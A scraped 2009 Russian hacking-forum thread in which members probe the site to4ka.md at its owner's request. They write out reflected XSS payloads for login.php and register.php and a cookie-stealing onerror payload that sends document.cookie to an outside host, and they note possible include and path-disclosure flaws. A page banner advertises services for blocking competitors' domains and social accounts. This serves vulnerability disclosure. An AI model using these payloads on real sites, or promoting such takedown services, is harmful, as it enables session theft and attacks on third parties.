www.to4ka.md

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Проверка на уязвимости
www.to4ka.md

Опции темы

Поиск в этой теме

Опции просмотра

www.to4ka.md

16.04.2009, 01:22

~~IIAHbI4~~

Banned

Регистрация: 24.08.2006

Сообщений: 483

С нами: 10375586

Репутация: 1112

www.to4ka.md

𝕏 Twitter Reddit Telegram Копировать ссылку

17.04.2009, 00:32

FriLL

Познающий

Регистрация: 14.09.2008

Сообщений: 30

С нами: 9292499

Репутация: 21

http://to4ka.md/image.php/img_4970f7cf0bf60.jpg?width=127&height=72&croprati o=2:1.1&image=/images/original/img_4970f7cf0bf60.jpg'
пути можно раскрыть (это пока что), вообще на инклуд похоже

17.04.2009, 00:45

to4ka

Новичок

Регистрация: 16.04.2009

Сообщений: 2

С нами: 8985189

Репутация: 0

Цитата:

Спасибо поправил!

17.04.2009, 11:31

Red_Red1

Участник форума

Регистрация: 12.01.2007

Сообщений: 262

С нами: 10172486

Репутация: 874

Для ИЕ можно выполнить ХСС атаку загрузив яваскрипт код в картинку, вот пример
http://www.to4ka.md/images/original/img_49e81ca9d64ca.jpg

17.04.2009, 17:19

to4ka

Новичок

Регистрация: 16.04.2009

Сообщений: 2

С нами: 8985189

Репутация: 0

Цитата:

Сообщение от Red_Red1

Спасибо огромное всем кто тестит...

17.04.2009, 17:46

AKYLA

Участник форума

Регистрация: 29.11.2007

Сообщений: 116

С нами: 9709737

Репутация: 88

Уязвима переменная name

Цитата:

login.php?name=1%00'"><ScRiPt%20%0a%0d>alert('XSSK A')%3B</ScRiPt>&pwd=admin@admin.com&next=%D0%B4%D0%B0%D0%B B%D0%B5%D0%B5

/register.php?name=1%00'"><ScRiPt%20%0a%0d>alert('X SSKA')%3B</ScRiPt>&pwd=admin@admin.com&next=%D0%B4%D0%B0%D0%B B%D0%B5%D0%B5

28.04.2009, 19:42

~~IIAHbI4~~

Banned

Регистрация: 24.08.2006

Сообщений: 483

С нами: 10375586

Репутация: 1112

18.05.2009, 19:37

eLWAux

Постоянный

Регистрация: 15.06.2008

Сообщений: 941

С нами: 9423746

Репутация: 2399

http://www.to4ka.md/
есть возможность выбора яз: "рус | rom"
там делаетса через js (файл /js/js.js) через ф-цию redirectWithLang
в куках (clang параметр) хранитса текущий яз.
если изменить его (clang) на ,например, rux, тогда увидем пустую страничку
возможно там инклуд)

чтоб убрать ето: сделай дефолтный яз)

12.06.2009, 20:05

MasterProg

Новичок

Регистрация: 28.01.2007

Сообщений: 9

С нами: 10149461

Репутация: 3

На странице слабая капча. Одинаковые фон, позиция, длина, нет искажения. Можно написать декодер.

UPD: В форме регистрации пассивная XSS. Если ввести <img src=. onerror=document.location='http://www.google.com/search?q='+document.cookie>unexistant_login111 в логин и нажать "Проверить", перекинет на гугл с кукой.

Последний раз редактировалось MasterProg; 12.06.2009 в 20:27..

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход